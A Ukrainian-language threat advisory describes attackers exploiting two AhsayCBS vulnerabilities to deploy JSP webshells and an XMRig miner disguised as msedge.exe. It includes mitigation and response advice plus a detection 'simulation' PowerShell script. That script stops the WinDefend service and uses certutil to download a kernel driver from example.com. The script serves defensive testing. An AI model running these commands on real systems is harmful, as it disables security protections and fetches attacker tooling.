Зловмисники Використовують Критичні Уразливості AhsayCBS для Розгортання Webshells та XMRig Майнера

Резюме

Зловмисники експлуатують дві критичні вразливості в програмному забезпеченні резервного копіювання AhsayCBS для отримання віддаленого виконання коду без аутентифікації. Після отримання доступу, атакуючі розгортають веб-шелли JSP та встановлюють криптомайнери XMRig, маскуючи їх під процеси Microsoft Edge. Кампанія також використовує скрипт PowerShell з штучним інтелектом, розроблений для обходу виявлення, спостерігаючи та втручаючися в роботу диспетчера завдань Windows.

Розслідування

Huntress ідентифікував ланцюг експлуатації, що поєднує CVE-2026-105133 для обходу автентифікації з CVE-2026-105134 для виконання віддаленого коду. Дослідники спостерігали модифіковану утиліту NSSM, перейменовану в msedge.exe, та вразливий драйвер ядра WinRing0x64.sys, який використовувався для надання майнеру низькорівневого доступу до апаратного забезпечення. Постексплуатаційна активність також включала створення злочинного сервісу Windows з назвою MicrosoftEdgeUpdateSvc.

Пом’якшення

Організації, що використовують AhsayCBS версій до 10.3.4, повинні негайно обмежити доступ до інтерфейсу управління до довірених IP-адрес або з’єднань VPN. Оновлення безпеки слід застосовувати якомога швидше після їх релізу виробником. Адміністратори також повинні спостерігати за підозрілими дочірніми процесами, які запускаються з виконуваного файлу служби AhsayCBS.

Відповідь

Коли виявлено індикатори компрометації, організації повинні виконати повне відновлення хосту з довіреної резервної копії, щоб усунути потенційні вторинні бекдори. Досліджуйте несанкціоновані служби Windows і підозрілі файли, збережені в тимчасових каталогах. Перегляньте телеметрію мережі на предмет з’єднань із відомими криптомайнинговими пулами або хостинговою інфраструктурою Alibaba Cloud OSS.

Виконання симуляції

• Сценарій атаки та команди: Противник успішно експлуатував сервіс AhsayCBS. Для підтримання стійкості та розгортання криптомайнера, вони спочатку створюють командну оболонку з cbssvcX64.exe процес. Щоб уникнути виявлення, вони запускають процес з назвою msedge.exe використовуючи аргумент --daemonized , роблячи вигляд, ніби це законний фоновий процес браузера. Потім вони використовують PowerShell для зупинки служб безпеки (змодельовано через блок сценарію). Нарешті, вони використовують certutil.exe для завантаження WinRing0x64.sys, драйвер, що використовується для полегшення низькорівневого доступу до системи для їхнього майнингового корисного навантаження.

• Сценарій регресійного тесту:

  # Симуляційний сценарій для постексплуатації AhsayCBS
  # ПРИМІТКА: Цей сценарій імітує поведінку, імітуючи ієрархію процесів і командні лінії.
  
  # 1. Імітація запуску AhsayCBS cmd.exe (вимагає специфічного контексту батьківства процесів у реальних журналах)
  # Для цілей симуляції, ми використаємо підхід дочірнього процесу.
  $cbsProcess = Start-Process "cmd.exe" -ArgumentList "/c echo AhsayCBS Simulation" -PassThru
  
  # 2. Імітація фальшивого процесу Edge Daemonized
  Start-Process "msedge.exe" -ArgumentList "--daemonized"
  
  # 3. Імітація злочинного блоку сценарію PowerShell
  $maliciousScript = {
      Write-Host "Спроба відключити захист..."
      Stop-Service -Name "WinDefend" -Force
      # Імітація взаємодії з Диспетчером завдань
      $taskManager = "Диспетчер завдань"
  }
  Invoke-Command -ScriptBlock $maliciousScript
  
  # 4. Імітація завантаження драйвера Certutil
  Start-Process "certutil.exe" -ArgumentList "-urlcache -split -f https://example.com/WinRing0x64.sys"

• Команди очищення:

  # Очищення: Завершення симульованих процесів і видалення всіх завантажених артефактів.
  Stop-Process -Name "msedge" -ErrorAction SilentlyContinue
  Stop-Process -Name "cmd" -ErrorAction SilentlyContinue
  Remove-Item -Path "C:Users*DownloadsWinRing0x64.sys" -ErrorAction SilentlyContinue